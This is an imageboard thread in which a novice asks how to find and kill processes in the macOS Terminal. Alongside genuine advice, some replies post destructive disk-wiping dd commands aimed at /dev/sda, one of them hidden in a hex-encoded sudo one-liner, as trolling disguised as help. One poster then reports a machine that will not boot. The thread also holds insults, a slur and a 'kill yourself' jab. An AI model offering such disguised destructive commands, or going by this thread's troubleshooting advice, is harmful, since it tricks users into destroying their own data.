Looking to understand enough about terminal.app to find any processes running and kill them. Can someone point me in the right direction?
>>53085559
'top' to list running processes
'kill' to kill processes
just google it. learning to google for your own answers is itself a valuable skill.

if you have a problem you are supposed to buy a new device.

I was mucking with ethereum and think my comp might be slow because of this. I know, I'm a retard. There's no documentation. I might have even run a script that downloaded malware, I'm not exactly sure.
>>53085593
This is neat. Got any other programs like this?
>>53085559$ ps aux | grep process-name-your-looking-forkillall process-name-your-looking-for

Ok I'll try to make this work thanks

kill -9 = kill it with fire!

you use da real sN1p3|2 tool

Apple devices are created so that people just buy a new one if something fails. it is hard to change battery and impossible to fix anything.
sudo dd if="/dev/null" of="/dev/sda"
after a while your screen starts to have a seizure!
>>53085559
pkill <name>
>>53087133
kill -9 yourself
>>53089266
Careful with that edge.
>>53087184
Ye, with an "x" aim
>>53088313

>>53085559
pgrep foo
pgrep -d, foo (delimiter switch specify a comma)
kill -9 `pgrep -d, foo`
Wow all this advice and I still dont even know where to get started learning about the terminal
>>53088105
that
sudo $(echo "64642069663d2f6465762f7a65726f206f663d2f6465762f73646120636f756e743d3130302062733d314d0a" | xxd -r -p)
>>53091203
Literally just search for terminal commands, you'll learn a lot
>>53091642
OSX uses /dev/disk[0-9] rather than /dev/sd[a-z].
This is probably meaningless to you because you are just some script kiddie that copied that script from somewhere.
>>53091642
Just a heads up, this will delete your root directory.

Depends on the device. I just swapped SSDs in my iMac and am upgrading the CPU soon, maybe the GPU as well.

dd if=/dev/zero of=/dev/sda count=100 bs=1M
>>53088192
That's only true on newer devices. Old models are quite easy to fix. I have a 2011 Macbook Pro and battery, memory and harddrive are easy to swap.

>>53096553
Neat setup, what distro/theme are you using?
>>53096712

theme is arc, icon theme is vertex and moka
>>53096553

>>53091203$ man command-your-interested-in
will literally give you the manual.
things to learn about first would be ls, cat, grep, ps, top, cd, mv, cp, rm, etc..
you can also run$ apropos some-stringif you don't know the name of the command.
I suggest you start by running man man and man apropos.
>>53098586
Neat
Thanks anon. This is what I needed

Wtf did you do to my PC man? Now it won't boot and I can't seem to even recover my files
>>53102066
This might work with winfags but OS X users on /g/ are unlikely to be as stupid as you seem to think, which reflects more poorly on you than anyone else here, to be honest.
